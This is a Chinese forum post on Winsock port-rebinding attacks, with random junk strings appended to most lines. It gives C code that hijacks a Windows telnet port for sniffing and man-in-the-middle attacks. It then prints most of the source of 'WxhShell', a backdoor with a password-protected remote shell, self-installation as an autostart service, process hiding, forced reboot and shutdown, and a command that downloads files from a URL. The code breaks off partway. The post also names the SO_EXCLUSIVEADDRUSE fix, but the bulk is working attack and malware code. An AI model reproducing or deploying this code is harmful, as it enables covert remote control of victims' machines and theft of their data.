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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ;eG%#=>  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Ym& _IOx  
@Qruc\_  
  saddr.sin_family = AF_INET; ;#/b=j\pi  
l/LRr.x  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ezwcOYMXK  
:@_CQc*yB  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); E(8!VY ^  
FO3!tJ\L  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 .IpwTke'  
C_O 7  
  这意味着什么?意味着可以进行如下的攻击: peGXU/5.I  
T>n,@?#K  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 BEPDyy  
j/9FiuK  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 3KB)\nF#%  
XPUH\I=  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 d7Q. 'cyQ  
)^%,\l-!  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  I$qL=  
6JRee[  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 `{F8#    
Ofqe+C  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 uHz D  
o1zc`Ibd  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 M/d!&Bk  
O|7q,bEm^  
  #include xZ`t~4qR  
  #include aH"tSgi  
  #include a;*&q/{o  
  #include    s.zH.q,  
  DWORD WINAPI ClientThread(LPVOID lpParam);   MrOW&7  
  int main() %<1fj#X8  
  { h]@Xucc  
  WORD wVersionRequested; 9IMRWtZWT  
  DWORD ret; Gjy'30IF  
  WSADATA wsaData; \iowAo$  
  BOOL val; woR((K] #G  
  SOCKADDR_IN saddr; .s7/bF  
  SOCKADDR_IN scaddr; ,vg8iR a  
  int err; s%4)}w;z  
  SOCKET s; .fo.mC@a  
  SOCKET sc; Bu!Gy8\  
  int caddsize; CoJaVLl  
  HANDLE mt; \,p)  
  DWORD tid;   /^/'9}7  
  wVersionRequested = MAKEWORD( 2, 2 ); webT  
  err = WSAStartup( wVersionRequested, &wsaData ); 1+#Vj#  
  if ( err != 0 ) { ?0'bf y]  
  printf("error!WSAStartup failed!\n"); |C>Yd*E,C  
  return -1; H7qda' %>  
  } ynP^|Ou  
  saddr.sin_family = AF_INET; rK=[&k  
   rX;(48Y  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 Y 3KCIL9  
y0(k7D|\  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); d9Rj-e1x  
  saddr.sin_port = htons(23); c$uV8_V  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) %K ]u"  
  { 8(Z*Vz uu  
  printf("error!socket failed!\n"); IHxX:a/iv  
  return -1; 9SAyU%mS:  
  } BvX!n"QIb  
  val = TRUE; gN mp'Lm  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 B>?. Nr  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) $ P#k|A  
  { o6vm(I%  
  printf("error!setsockopt failed!\n"); Ypv"u0  
  return -1; /-BplU*"9  
  } |_O; U=2  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; i"w$D{N  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 a |z{B b  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 PjsQ+5[>  
_V8pDcY  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 1Ll@ ocE  
  { /}M@ @W  
  ret=GetLastError(); f0wQn09  
  printf("error!bind failed!\n"); uE5kL{Fv  
  return -1; rxa8X wo8  
  } _HGDqj L  
  listen(s,2); hrcR"OZ~X  
  while(1) )QI]b4[  
  { d>vGx  
  caddsize = sizeof(scaddr); H,H'bd/  
  //接受连接请求 Q`19YX  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); Itz_;+I.Mp  
  if(sc!=INVALID_SOCKET) NaVZ)  
  { L}:u9$w  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 6x[gg !;85  
  if(mt==NULL) H3a}`3}U  
  { { Ja#pt  
  printf("Thread Creat Failed!\n");  d(v )SS  
  break; %X[|7D-  
  } _Dk;U*2  
  } =BX<;vU  
  CloseHandle(mt); xhqIE3gd  
  } vkBngsS  
  closesocket(s); G3?8GTH  
  WSACleanup(); c>DAR  
  return 0; PJ #uYM  
  }   u.!Pda  
  DWORD WINAPI ClientThread(LPVOID lpParam) Mw+]*  
  { Wgx lQXi-B  
  SOCKET ss = (SOCKET)lpParam; 39m#  
  SOCKET sc; bR ;H@Fdg?  
  unsigned char buf[4096]; #;^.&2Lt  
  SOCKADDR_IN saddr; PeE'#&w n  
  long num; ~Dkje  
  DWORD val; \" .3x PkE  
  DWORD ret; a_x|PbD  
  //如果是隐藏端口应用的话,可以在此处加一些判断 *y N,e.t  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   7 v`Y*D  
  saddr.sin_family = AF_INET; 9*,5R,#  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 'M G)noN5  
  saddr.sin_port = htons(23); :&TOQ<vM  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) k# &y  
  { XM8C{I1  
  printf("error!socket failed!\n"); L"('gc!W  
  return -1; gL}K84T$S  
  } roRZE[ya  
  val = 100; }A2@1TTPX  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) =|?w<qc  
  { $>#PhOC  
  ret = GetLastError(); ^QFjBQ-Hai  
  return -1; t3bDi/m  
  } y'E)iI*  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) !-2 S(8  
  { ~yO.R)4v  
  ret = GetLastError(); # <&=ZLN  
  return -1; \ =83#*KK  
  } =2`s Uw}  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ~'T]B{.+J  
  { UGR5ILf  
  printf("error!socket connect failed!\n"); ]p#Zdm1EL  
  closesocket(sc); KN+*_L-  
  closesocket(ss); nTYqZlI,  
  return -1; }-8K*A3  
  } XPX{c|]>.  
  while(1) IlS{>6  
  { Lw!@[;2  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 1>|p1YZ"  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ,P9B8oIq  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 !})+WSs'"s  
  num = recv(ss,buf,4096,0); \ &_ -  
  if(num>0) dd$\Q  
  send(sc,buf,num,0); [ ra [~  
  else if(num==0) x{ZcF=4  
  break; |t.WPp5,  
  num = recv(sc,buf,4096,0); u2U@Qrs2  
  if(num>0) f Z\Ev%F  
  send(ss,buf,num,0); fT'A{&h|U  
  else if(num==0) uYO?Rb&}  
  break; N 8mK^{  
  } cJH7zumM)  
  closesocket(ss); (cA=~Bw[=  
  closesocket(sc); w@oq.K  
  return 0 ; VDQ&Bm JE  
  } LU%g>?m.]  
<vbk@d  
hr)TC-  
========================================================== !TG"AW  
r{Fu|aoa;5  
下边附上一个代码,,WXhSHELL 6|9];)  
} 10Dvt>+  
========================================================== wePMBL1P*  
2poU \|H  
#include "stdafx.h" +  ^~n09  
/?by4v73P  
#include <stdio.h> A 7TP1  
#include <string.h> 9`vse>,-hg  
#include <windows.h> 2@A7i<p  
#include <winsock2.h> ;N4mR6  
#include <winsvc.h> 7f 7*id  
#include <urlmon.h> /+66y=`UJ  
/=-E`%R}!  
#pragma comment (lib, "Ws2_32.lib") Q2k\8i  
#pragma comment (lib, "urlmon.lib") 7GPBn}{W  
oTfEX4 t {  
#define MAX_USER   100 // 最大客户端连接数 5F0sfX  
#define BUF_SOCK   200 // sock buffer   (+Er  
#define KEY_BUFF   255 // 输入 buffer Rhr]ML  
\w`Il"}V  
#define REBOOT     0   // 重启 +LX&1GX  
#define SHUTDOWN   1   // 关机 ok[R`99  
4#=^YuKaF1  
#define DEF_PORT   5000 // 监听端口 c{&sf y  
9N-mIGJ  
#define REG_LEN     16   // 注册表键长度 oR3$A :!P=  
#define SVC_LEN     80   // NT服务名长度 U8.DPRa  
;Hm\?n)a  
// 从dll定义API c.d*DM}W  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); \WZ00Y,*  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); p%,JWZ[  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); x#pT B.  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); sy]1Ba%  
KXR  
// wxhshell配置信息 hS<x+|'l  
struct WSCFG { 9-L.?LG  
  int ws_port;         // 监听端口 $r_z""eOc  
  char ws_passstr[REG_LEN]; // 口令 `cVG_= 2  
  int ws_autoins;       // 安装标记, 1=yes 0=no |@Z QoH  
  char ws_regname[REG_LEN]; // 注册表键名 B\N,%vsx#U  
  char ws_svcname[REG_LEN]; // 服务名 \7Zk[)!FL  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 WRD^S:`BH  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ;1F3.ibE  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 `)SkA?yKI  
int ws_downexe;       // 下载执行标记, 1=yes 0=no m2\ZnC  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" (+T|B E3*#  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 4?d2#Xhs8  
G =lC[i  
}; |n* I}w^  
b/<n:*$   
// default Wxhshell configuration #mtlgK'  
struct WSCFG wscfg={DEF_PORT, *jDzh;H!w  
    "xuhuanlingzhe", >5XE*9  
    1, Xf$,ra"  
    "Wxhshell", kbOo;<X9A  
    "Wxhshell", VE{t]>*-u  
            "WxhShell Service", \t )Zk2  
    "Wrsky Windows CmdShell Service", c)lMi}/  
    "Please Input Your Password: ", CJ%7M`zy  
  1, Tw|=;m  
  "http://www.wrsky.com/wxhshell.exe", KS%xo6k.  
  "Wxhshell.exe" Is%-r.i  
    }; -LQ%)'J ZN  
'fZHtnmc0  
// 消息定义模块 {AQ3y,sh  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; _L&C4 <e'  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Q2iu}~  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Rrk3EL  
char *msg_ws_ext="\n\rExit."; uv._N6mj  
char *msg_ws_end="\n\rQuit."; ][#]4 _  
char *msg_ws_boot="\n\rReboot..."; dZ;cs c@xv  
char *msg_ws_poff="\n\rShutdown..."; C+2*m=r  
char *msg_ws_down="\n\rSave to "; O(wt[AEA  
E[ e ''  
char *msg_ws_err="\n\rErr!"; 8Gs{Zfp!D  
char *msg_ws_ok="\n\rOK!"; ?$8OVq.w,  
K{"(|~=U  
char ExeFile[MAX_PATH]; .7cQKdvcC  
int nUser = 0; Rz%+E0  
HANDLE handles[MAX_USER]; 'N'EC`R  
int OsIsNt; Z?1.Y7Npr  
-YRF^72+  
SERVICE_STATUS       serviceStatus; C3WqUf<8`{  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; kjjO<x?&*  
U%U%a,rA5s  
// 函数声明 dp-8,Seu  
int Install(void); i wK,XnIR  
int Uninstall(void); z q(AN<  
int DownloadFile(char *sURL, SOCKET wsh); 'KM@$2tK^q  
int Boot(int flag); QBDi;Xzb+  
void HideProc(void); Q<Utwk?nL  
int GetOsVer(void); 5f}wQ  
int Wxhshell(SOCKET wsl); !=eui$]  
void TalkWithClient(void *cs);  ;-U :t4  
int CmdShell(SOCKET sock); c1!h;(&  
int StartFromService(void); F&I^bkvh  
int StartWxhshell(LPSTR lpCmdLine); # l}Y1^PDd  
Y+j|T`d  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); QnVYZUgJeV  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); \vojF\  
\%rX~UhZ=  
// 数据结构和表定义 &o:wSe  
SERVICE_TABLE_ENTRY DispatchTable[] = sIg{a( 1/  
{ q[7C,o>/  
{wscfg.ws_svcname, NTServiceMain}, zjB8~ku#  
{NULL, NULL} dN;C-XF3s  
}; 1;g>?18@  
BW z*!(   
// 自我安装 -bcm"(<T'  
int Install(void) >*k3D&  
{ yv]/A<gP+  
  char svExeFile[MAX_PATH]; @ L?7` VoE  
  HKEY key; M>8#is(pV  
  strcpy(svExeFile,ExeFile); #t po@pJsE  
VbJGyjx  
// 如果是win9x系统,修改注册表设为自启动 s$|GVv1B  
if(!OsIsNt) { F0]NtKaH  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Y|>y]x  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); :J}L| `U9  
  RegCloseKey(key); D+#QQH  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { #k5Nnv#(J  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); w}YO+  
  RegCloseKey(key); x4R[Q&:M  
  return 0; U $e-e/  
    } !&?(ty^F  
  } @My-O@C>  
} 3zv_q&+8b  
else { -h8A<  
@6(4}&sEdm  
// 如果是NT以上系统,安装为系统服务 >o%.`)Ar  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); c$bb0J%  
if (schSCManager!=0) 45q-x_  
{ fPa FL}&  
  SC_HANDLE schService = CreateService Q4}2-}|  
  ( :a nUr<  
  schSCManager, Z^>{bW  
  wscfg.ws_svcname, =P-kb^s  
  wscfg.ws_svcdisp, $yLsuqB}  
  SERVICE_ALL_ACCESS, cZPv6c_w  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , DXsp 2  
  SERVICE_AUTO_START, 349W0>eOT  
  SERVICE_ERROR_NORMAL, #1&w fI$  
  svExeFile, GUJx?V/[  
  NULL, MG<F.u  
  NULL, /87?U; |V  
  NULL, 7[.aAGTZ;  
  NULL, }&bO;o&>  
  NULL Y Dq5%N`  
  ); I?EtU/AD  
  if (schService!=0) Pur~Rz\ \  
  { OZB(4{vnyC  
  CloseServiceHandle(schService); )zf&`T  
  CloseServiceHandle(schSCManager); h/mmV:v  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); pa`"f&JO  
  strcat(svExeFile,wscfg.ws_svcname); _.KKh62CN  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Uf 1i "VY  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Xg_M{t  
  RegCloseKey(key); f{t5r  
  return 0; z~# .Ey  
    } _ 2R;@[f2  
  } ~jQ|X?tR  
  CloseServiceHandle(schSCManager); 7%b?[}y4  
} mr,IP=e~  
} Sbc  
ncuqo'r  
return 1; Q~MV0<{  
} x4r\cL1!  
[>U'P1@ql  
// 自我卸载 pIXbr($  
int Uninstall(void)  ") q  
{ LK-2e$1  
  HKEY key; )Gi!wm>zvN  
2g$PEwXe  
if(!OsIsNt) { >;-.rJFr  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { x_GD  
  RegDeleteValue(key,wscfg.ws_regname); A9`& Wnw?  
  RegCloseKey(key); 2"cUBFc1I  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { @!1o +x  
  RegDeleteValue(key,wscfg.ws_regname); PJ5~,4H-4  
  RegCloseKey(key); Z@4 BTA  
  return 0; 'avzESe~'  
  } S%uwQ!=O8  
} *9Ej fs7L  
} ]+@@{?0  
else { VJ8cls<  
lyc ]E 9  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); [K1RP.  
if (schSCManager!=0) Oi+9kk e  
{ dUegHBw_`R  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); $@QF<?i~  
  if (schService!=0) ue"?n2  
  { 6q-X$  
  if(DeleteService(schService)!=0) { o EXN$SIs  
  CloseServiceHandle(schService); 4! ]28[2B6  
  CloseServiceHandle(schSCManager); ixm-wZI  
  return 0; /@h)IuW  
  } `@!4#3H  
  CloseServiceHandle(schService); 5 Sm9m*/  
  } c5Fl:=h  
  CloseServiceHandle(schSCManager); >NwS0j$j@  
} uQk}  
} 1U[Q)(P  
wK>a&`<  
return 1; xn|M]E1)  
} "ld4v+o8l  
9ozN$:  
// 从指定url下载文件 G0 *>S`:4  
int DownloadFile(char *sURL, SOCKET wsh) )(V|d$n  
{ .dM4B'OA?  
  HRESULT hr; rWsUWA T*  
char seps[]= "/"; Y_'3pX,  
char *token; ,Q:Ylc8  
char *file; PWUS@I  
char myURL[MAX_PATH]; zmaf@T  
char myFILE[MAX_PATH]; m3[R   
U?]}K S;6  
strcpy(myURL,sURL); _-mSK/Z  
  token=strtok(myURL,seps); <~s{&cL!%#  
  while(token!=NULL) *f<+yF{=A  
  { .S4c<pMap  
    file=token; Y=0D[o8  
  token=strtok(NULL,seps); #2 Gy=GvV  
  } TC[(mf:8  
"Bn8WT2?  
GetCurrentDirectory(MAX_PATH,myFILE); CNU,\>J@$  
strcat(myFILE, "\\"); mcO/V-\5'  
strcat(myFILE, file); d rRi<7 i  
  send(wsh,myFILE,strlen(myFILE),0); uknX py))  
send(wsh,"...",3,0); &gGh%:`B  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 0G?*i_u\  
  if(hr==S_OK) +h*-9  
return 0; Q1hHK'3w  
else +8p4\l$<`  
return 1; p SMF1Oy  
FLf< gz  
} A<$~Q;r2a  
%)'# d  
// 系统电源模块 y(81| c#  
int Boot(int flag) b~oQhU??"  
{  ZDn5d%  
  HANDLE hToken; ^/c v8M=  
  TOKEN_PRIVILEGES tkp; aUZh_<@  
iG+hj:5  
  if(OsIsNt) { k9Pwf"m|](  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); gs/ i%O  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Vd%%lv{v  
    tkp.PrivilegeCount = 1; KAkD" (!  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; =Pj+^+UM  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); |-+IF,j  
if(flag==REBOOT) { 9pF@#A9p  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) OQ*BPmS-   
  return 0; Yf&P|Iiw  
} kz30! L  
else { };/;L[,G  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) k{Ad(S4J&  
  return 0; H<N$z 3k  
} 9szUN;:ZZ  
  } `|rF^~6(dR  
  else { ,ICn]Pdz@  
if(flag==REBOOT) { 2?c##Izn  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) *h([ai"1-  
  return 0; 9Ub##5$[,  
} |J:|56kVZq  
else { -6KNMk   
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) r%=}e++^%  
  return 0; T5<851rH  
} ue8"_N  
} -w'_Q"o2  
2oBT _o%/J  
return 1; F x 4s)(  
} (i2R1HCa  
uE'O}Y95  
// win9x进程隐藏模块 b@s6jNhVO^  
void HideProc(void) ./l^Iz&0  
{ A.YXK%A%  
E&z`BPd  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Vf*Z}'  
  if ( hKernel != NULL ) or<n[<D-C  
  { iY[+BI:  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Ez)hArxns  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); w ag^Sk  
    FreeLibrary(hKernel); MJ?fMR@  
  } BG&XCn5g|  
VY1&YR}Y  
return; ,h<xL-  
} kN~:Bh$  
d}:eLC  
// 获取操作系统版本 <6rc 8jYz  
int GetOsVer(void) s;!_'1pi@  
{ OL%KAEnD  
  OSVERSIONINFO winfo; ,%=SO 82W  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); .Ld{QPa  
  GetVersionEx(&winfo); VZ3{$0 +  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) (/ qOY  
  return 1; ATG;*nIP  
  else ]_5qME#N  
  return 0; ;udV"7C  
} U0J_ 3W  
GZt L-   
// 客户端句柄模块 WeiDg,]e$b  
int Wxhshell(SOCKET wsl) &02I-lD4+  
{ ABaK60.O[O  
  SOCKET wsh; A||,|He~  
  struct sockaddr_in client; G4;5$YGG  
  DWORD myID; &l8eljg  
1=@csO_yn  
  while(nUser<MAX_USER) 7cQFH@SC  
{ k[Ue}L|  
  int nSize=sizeof(client); oniVC',  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); asc Y E  
  if(wsh==INVALID_SOCKET) return 1; "xdu h3/~=  
fMm.V=/+  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); =pk5'hBAi  
if(handles[nUser]==0) p6c&vEsNj  
  closesocket(wsh); 1DR ih>+#  
else kMx^L;:n  
  nUser++; @>Bgld&vl  
  } n@te.,?A"  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); mMOjV_  
F%ffnEJg  
  return 0; xP7#`S6W  
} )R^&u`k  
nh'TyUd!  
// 关闭 socket \=&F\EV  
void CloseIt(SOCKET wsh) M/a40uK  
{ 6* 6 |R93  
closesocket(wsh); %M5{-pJ|C  
nUser--; kxH` c  
ExitThread(0); Y/<`C  
} (Go1@;5I  
3j7Na#<tL3  
// 客户端请求句柄 @#QaaR;4  
void TalkWithClient(void *cs) `e[>S  
{ <Toy8-kj  
OB4nE}NO  
  SOCKET wsh=(SOCKET)cs; /e;E+   
  char pwd[SVC_LEN]; wTe 9OFv  
  char cmd[KEY_BUFF]; PpLuN12H  
char chr[1]; 8|) $;.  
int i,j; N?s`a;Q[=  
Whl^~$+f  
  while (nUser < MAX_USER) { q}|_]R_y  
O|AY2QH\  
if(wscfg.ws_passstr) { =&t]R? F  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ,<s/K  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ( yK@(euG  
  //ZeroMemory(pwd,KEY_BUFF); t2LX@Q"  
      i=0; I~F]e|Ehqr  
  while(i<SVC_LEN) { Ay@/{RZz  
]o?r( 1  
  // 设置超时 f=hT o!i  
  fd_set FdRead; VOSq%hB  
  struct timeval TimeOut; z 4qEC  
  FD_ZERO(&FdRead); _;mA(j  
  FD_SET(wsh,&FdRead); F*-+5nJ&@  
  TimeOut.tv_sec=8; b6NGhkr'\  
  TimeOut.tv_usec=0; Y[0mTL4IO  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 0[ZB^  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); HChlkj'7w0  
d6e$'w@(\T  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); M2Jb<y]  
  pwd=chr[0]; hem>@Bp'V  
  if(chr[0]==0xd || chr[0]==0xa) { n{I1ZlEeh  
  pwd=0; ,L=lg,lH^  
  break; Yb\d(k$h  
  } :/R>0n,  
  i++; %n^ugm0B  
    } *. 1S  
xzXNcQ  
  // 如果是非法用户,关闭 socket zJ30ZY:  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); l4gZHMh'  
} #.{ddY{  
?kULR0uL+  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); W3gHz T?{  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); "&C>=  
z&Xk~R*$  
while(1) { ~"VM_Lz]5  
ue1g(;  
  ZeroMemory(cmd,KEY_BUFF); n0QHrIf{  
b!<)x}-t>  
      // 自动支持客户端 telnet标准   ?c<uN~fC=  
  j=0; SUDvKP  
  while(j<KEY_BUFF) { fTt\@" V  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); &NX7  
  cmd[j]=chr[0]; Qp9QS yMs}  
  if(chr[0]==0xa || chr[0]==0xd) { 8ZCR9%  
  cmd[j]=0; b}&.IJ&40j  
  break; eD|"?@cE  
  } !u;gGgQF  
  j++; DQ@M?~1hp  
    } 'cqY-64CJZ  
SLz;5%CPV  
  // 下载文件 o@L2c3?c5  
  if(strstr(cmd,"http://")) { hkOFPt&  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); y3':x[d  
  if(DownloadFile(cmd,wsh)) _jb&=f8  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); E/<n"'0ek  
  else O^n\lik  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); OX7a72z  
  } WmOu#5*;  
  else { GX=U6n>  
J"-/ok(<@  
    switch(cmd[0]) { 7 lSR  
  &4wwp!J  
  // 帮助 - "EPU]q  
  case '?': { vdh[%T,&  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); V 4&a+MJ@  
    break; =zTpDL  
  } 6rM{r>  
  // 安装 vVZ+u4y  
  case 'i': { Pk;1q?tGw  
    if(Install()) Qxfds`4V9i  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 55ft ,a  
    else 26p_fKY  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); y@SI)&D  
    break; klMpiy  
    } KGGnypx`  
  // 卸载 6tGF  
  case 'r': { kjDmwa+91T  
    if(Uninstall()) Nza@6nI"  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); oIniy{  
    else p +nh]  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);  U02  
    break; _S,UpR~2W  
    } k;K-6<^h  
  // 显示 wxhshell 所在路径 0+k..l  
  case 'p': { x`Wb9[u8  
    char svExeFile[MAX_PATH]; &Ez+4.srkh  
    strcpy(svExeFile,"\n\r"); Q!r&vQ/g  
      strcat(svExeFile,ExeFile); `(/xj{"Fr}  
        send(wsh,svExeFile,strlen(svExeFile),0); pgs<Mo$\%B  
    break; wD /jN:  
    } +-T|ov<  
  // 重启 j`+{FCB7  
  case 'b': { 9Wg;M#c2Y|  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); j'OXT<n*  
    if(Boot(REBOOT)) At'M? Q@v  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $3g M P+  
    else { "<Yxt"Z4  
    closesocket(wsh); v4K! BW  
    ExitThread(0); WM%w_,Z  
    } #xfav19{.  
    break; EnmMFxu<  
    } qDqy9u:g  
  // 关机 #guK&?Fye  
  case 'd': { "$P/ek  
